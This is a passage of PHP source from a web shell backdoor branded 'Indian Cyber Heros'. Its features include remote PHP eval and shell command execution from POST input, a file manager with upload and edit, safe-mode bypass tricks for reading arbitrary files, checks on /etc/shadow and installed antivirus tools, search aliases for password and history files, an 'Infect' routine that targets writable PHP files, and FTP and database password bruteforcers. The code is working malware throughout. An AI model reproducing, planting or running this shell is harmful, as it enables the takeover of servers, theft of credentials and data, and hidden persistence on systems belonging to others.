hardScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function which($p) { $path = ex('which ' . $p); if(!empty($path)) return $path; return false; } function actionRC() { if(!@$_POST['p1']) { $a = array( "uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode') ); echo serialize($a); } else { eval($_POST['p1']); } } function prototype($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } function actionSecInfo() { hardHeader(); echo '
50Server security information
51'; function showSecParam($n, $v) { $v = trim($v); if($v) { echo '' . $n . ': '; if(strpos($v, "\n") === false) echo $v . '
52'; else echo '
53
54' . $v . '
55
56'; } } showSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) showSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); showSecParam('Open base dir', @ini_get('open_basedir')); showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; showSecParam('Supported databases', implode(', ', $temp)); echo '
57'; if($GLOBALS['os'] == 'nix') { showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); showSecParam('OS version', @file_get_contents('/proc/version')); showSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '
58'; $temp=array(); foreach ($userful as $â–Ÿ) if(which($â–Ÿ)) $temp[] = $â–Ÿ; showSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $â–Ÿ) if(which($â–Ÿ)) $temp[] = $â–Ÿ; showSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $â–Ÿ) if(which($â–Ÿ)) $temp[] = $â–Ÿ; showSecParam('Downloaders', implode(', ',$temp)); echo '
59'; showSecParam('HDD space', ex('df -h')); showSecParam('Hosts', @file_get_contents('/etc/hosts')); showSecParam('Mount options', @file_get_contents('/etc/fstab')); } } else { showSecParam('OS Version',ex('ver')); showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts'))); showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user'))); } echo '
60'; hardFooter(); } function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: " . $type); } else header("Content-Type: application/octet-stream"); $fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } }exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } hardHeader(); echo '
61File tools
62'; if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; hardFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
63'; echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
64
65'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; echo '
66
67'; switch($_POST['p2']) { case 'view': echo '
68
69'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '
70
71'; break; case 'highlight': if( @is_readable($_POST['p1']) ) { echo '
72'; $oRb = @highlight_file($_POST['p1'],true); echo str_replace(array(''), array(''),$oRb).'
73'; } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!
74'; } clearstatcache(); echo '
75'; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn\'t writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!
76'; @touch($_POST['p1'],$time,$time); } } echo '
77'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '
78'; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000
79','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
80';} $h[1] .= '
81'; $h[2] .= "\n"; } } echo '
82
83'.$h[0].'
84
85	
86
87'.$h[1].'
88
89	
90
91'.htmlspecialchars($h[2]).'
92
93'; break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!
94'; else die(''); } echo '
95'; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(!touch($_POST['p1'],$time,$time)) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo '
96'; break; case 'frame': $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT']))); if ($frameSrc[0] != '/') $frameSrc = '/' . $frameSrc; if ($frameSrc[strlen($frameSrc) - 1] != '/') $frameSrc = $frameSrc . '/'; $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']); echo ''; break; } echo '
97'; hardFooter(); } if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function actionConsole() { if(!empty($_POST['p1']) && !empty($_POST['p2'])) { prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1'; } elseif(!empty($_POST['p1'])) prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { prototype(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); echo "d.cf.cmd.value='';\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0); hardHeader(); echo ""; echo '
98Console
99'; foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo ''; continue; } echo ''; } echo '
100send using AJAX redirect stderr to stdout (2>&1)
101'; if(!empty($_POST['p1'])) { echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1'])); } echo '
102$	
103'; echo '
104'; hardFooter(); } function actionPhp() { if( isset($_POST['ajax']) ) { $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } hardHeader(); if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { echo '
105PHP info
106'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace('!body {.*}!msiU','',$tmp); $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); $tmp = preg_replace('!h1!msiU','h2',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); echo $tmp; echo '
107
108'; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false; echo '
109Execution PHP-code
110'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'
111'; echo ' send using AJAX
112
113'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '
114
115'; hardFooter(); } function actionFilesMan() { if (!empty ($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']); if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if ( is_array($_FILES['f']['tmp_name']) ) { foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) { if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) { echo "Can't upload file!"; } } } break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($â–Ÿ = readdir($dh) ) !== false) { $â–Ÿ = $path.$â–Ÿ; if ( (basename($â–Ÿ) == "..") || (basename($â–Ÿ) == ".") ) continue; $type = filetype($â–Ÿ); if ($type == "dir") deleteDir($â–Ÿ); else @unlink($â–Ÿ); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': if($_COOKIE['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); } elseif($_COOKIE['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(@is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); } elseif($_COOKIE['act'] == 'zip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($_POST['p2'], 1)) { chdir($_COOKIE['c']); foreach($_COOKIE['f'] as $f) { if($f == '..') continue; if(@is_file($_COOKIE['c'].$f)) $zip->addFile($_COOKIE['c'].$f, $f); elseif(@is_dir($_COOKIE['c'].$f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS)); foreach ($iterator as $key=>$value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS['cwd']); $zip->close(); } } } elseif($_COOKIE['act'] == 'unzip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); foreach($_COOKIE['f'] as $f) { if($zip->open($_COOKIE['c'].$f)) { $zip->extractTo($GLOBALS['cwd']); $zip->close(); } } } } elseif($_COOKIE['act'] == 'tar') { chdir($_COOKIE['c']); $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); chdir($GLOBALS['cwd']); } unset($_COOKIE['f']); setcookie('f', '', time() - 3600); break; default: if(!empty($_POST['p1'])) { prototype('act', $_POST['p1']); prototype('f', serialize(@$_POST['f'])); prototype('c', @$_POST['c']); } break; } } hardHeader(); echo '
116File Manager
117'; $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo " "; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function cmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "cmp"); usort($dirs, "cmp"); $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo ''; $l = $l?0:1; } echo "
118	Name	Size	Modify	Owner/Group	Permissions	Actions
119	'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . ' ]').'	'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'	'.$f['modify'].'	'.$f['owner'].'/'.$f['group'].'	'.$f['perms'] .'	R T'.(($f['type']=='file')?' F E D':'').'
120"; if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo ""; echo ""; if(class_exists('ZipArchive')) echo ""; echo ""; echo "
121"; if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo " file name:  "; echo ""; hardFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { prototype(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0); hardHeader(); echo '
122String Conversions
123'; echo "
124"; foreach($stringTools as $k => $v) echo ""; echo "
125send using AJAX
126".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."
127
128"; if(!empty($_POST['p1'])) { if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); } echo"
129
130
131Search files:
132Text:	
133Path:	
134Name:	
135	
136"; function hardRecursiveGlob($path) { if(substr($path, -1) != '/') $path.='/'; $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); if(is_array($paths)&&@count($paths)) { foreach($paths as $â–Ÿ) { if(@is_dir($â–Ÿ)){ if($path!=$â–Ÿ) hardRecursiveGlob($â–Ÿ); } else { if(empty($_POST['p2']) || @strpos(file_get_contents($â–Ÿ), $_POST['p2'])!==false) echo "".htmlspecialchars($â–Ÿ)."
137"; } } } } if(@$_POST['p3']) hardRecursiveGlob($_POST['c']); echo "
138
139Search for hash:
140
141
142
143
144
145
146
147
148"; hardFooter(); } function actionSafeMode() { $temp=''; ob_start(); switch($_POST['p1']) { case 1: $temp=@tempnam($test, 'cx'); if(@copy("compress.zlib://".$_POST['p2'], $temp)){ echo @file_get_contents($temp); unlink($temp); } else echo 'Sorry... Can\'t open file'; break; case 2: $files = glob($_POST['p2'].'*'); if( is_array($files) ) foreach ($files as $filename) echo $filename."\n"; break; case 3: $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); curl_exec($ch); break; case 4: ini_restore("safe_mode"); ini_restore("open_basedir"); include($_POST['p2']); break; case 5: for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) echo join(':',$uid)."\n"; } break; case 6: if(!function_exists('imap_open'))break; $stream = imap_open($_POST['p2'], "", ""); if ($stream == FALSE) break; echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); hardHeader(); echo '
149Safe mode bypass
150'; echo 'Copy (read file)
151
152Glob (list dir)
153
154Curl (read file)
155
156Ini_restore (read file)
157
158Posix_getpwuid ("Read" /etc/passwd)
159From	
160To	
161
162
163Imap_open (read file)
164'; if($temp) echo '
165
166'.$temp.'
167
168'; echo '
169'; hardFooter(); } function actionLogout() { setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); die('
170
171
172Indian Cyber Heros
173
174	
175	
176
177         __  _                                       _   
178        / / | |       ___     __ _    ___    _   _  | |_ 
179       / /  | |      / _ \   / _` |  / _ \  | | | | | __|
180  _   / /   | |___  | (_) | | (_| | | (_) | | |_| | | |_ 
181 (_) /_/    |_____|  \___/   \__, |  \___/   \__,_|  \__|
182                             |___/                       
183
184
185	
186	
187
188bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') hardHeader(); echo '
189Suicide
190Really want to remove the shell?
191Yes
192'; hardFooter(); } function actionInfect() { hardHeader(); echo '
193Infect
194'; if($_POST['p1'] == 'infect') { $target=$_SERVER['DOCUMENT_ROOT']; function ListFiles($dir) { if($dh = opendir($dir)) { $files = Array(); $inner_files = Array(); while($file = readdir($dh)) { if($file != "." && $file != "..") { if(is_dir($dir . "/" . $file)) { $inner_files = ListFiles($dir . "/" . $file); if(is_array($inner_files)) $files = array_merge($files, $inner_files); } else { array_push($files, $dir . "/" . $file); } } } closedir($dh); return $files; } } foreach (ListFiles($target) as $key=>$file){ $nFile = substr($file, -4, 4); if($nFile == ".php" ){ if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){ echo "$file
195"; $i++; } } } echo "$i"; }else{ echo "
196"; echo 'Really want to infect the server? Yes
197'; } hardFooter(); } function actionBruteforce() { hardHeader(); if( isset($_POST['proto']) ) { echo '
198Results
199Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
200'; if( $_POST['proto'] == 'ftp' ) { function bruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST['proto'] == 'mysql' ) { function bruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST['proto'] == 'pgsql' ) { function bruteForce($ip,$port,$login,$pass) { $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if($_POST['type'] == 1) { $temp = @file('/etc/passwd'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(":", $line); ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
201'; } if(@$_POST['reverse']) { $tmp = ""; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); } } } } elseif($_POST['type'] == 2) { $temp = @file($_POST['dict']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { $success++; echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
202'; } } } echo "Attempts: $attempts Success: $success
203
204"; } echo '
205FTP bruteforce
206' .'' .'' .'' .'' .'' .'' .'
207Type	
208' .'' .'' .'' .'' .'Server:port	
209Brute type	/etc/passwd
210	reverse (login -> nigol)
211	Dictionary
212	' .'' .'' .'
213Login	
214Dictionary	
215' .'
216	
217'; echo '
218'; hardFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table hard2'); return array('file'=>implode("\n",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1].";\n"; if($fp) fwrite($fp, $sql); else echo($sql); $this->query('SELECT * FROM `'.$table.'`'); $i = 0; $head = true; while($â–Ÿ = $this->fetch()) { $sql = ''; if($i % 1000 == 0) { $head = true; $sql = ";\n\n"; } $columns = array(); foreach($â–Ÿ as $k=>$v) { if($v === null) $â–Ÿ[$k] = "NULL"; elseif(is_int($v)) $â–Ÿ[$k] = $v; else $â–Ÿ[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $â–Ÿ).')'; $head = false; } else $sql .= "\n\t,(".implode(", ", $â–Ÿ).')'; if($fp) fwrite($fp, $sql); else echo($sql); $i++; } if(!$head) if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($â–Ÿ = $this->fetch()) { $columns = array(); foreach($â–Ÿ as $k=>$v) { $â–Ÿ[$k] = "'".addslashes($v)."'"; $columns[] = $k; } $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $â–Ÿ).');'."\n"; if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new 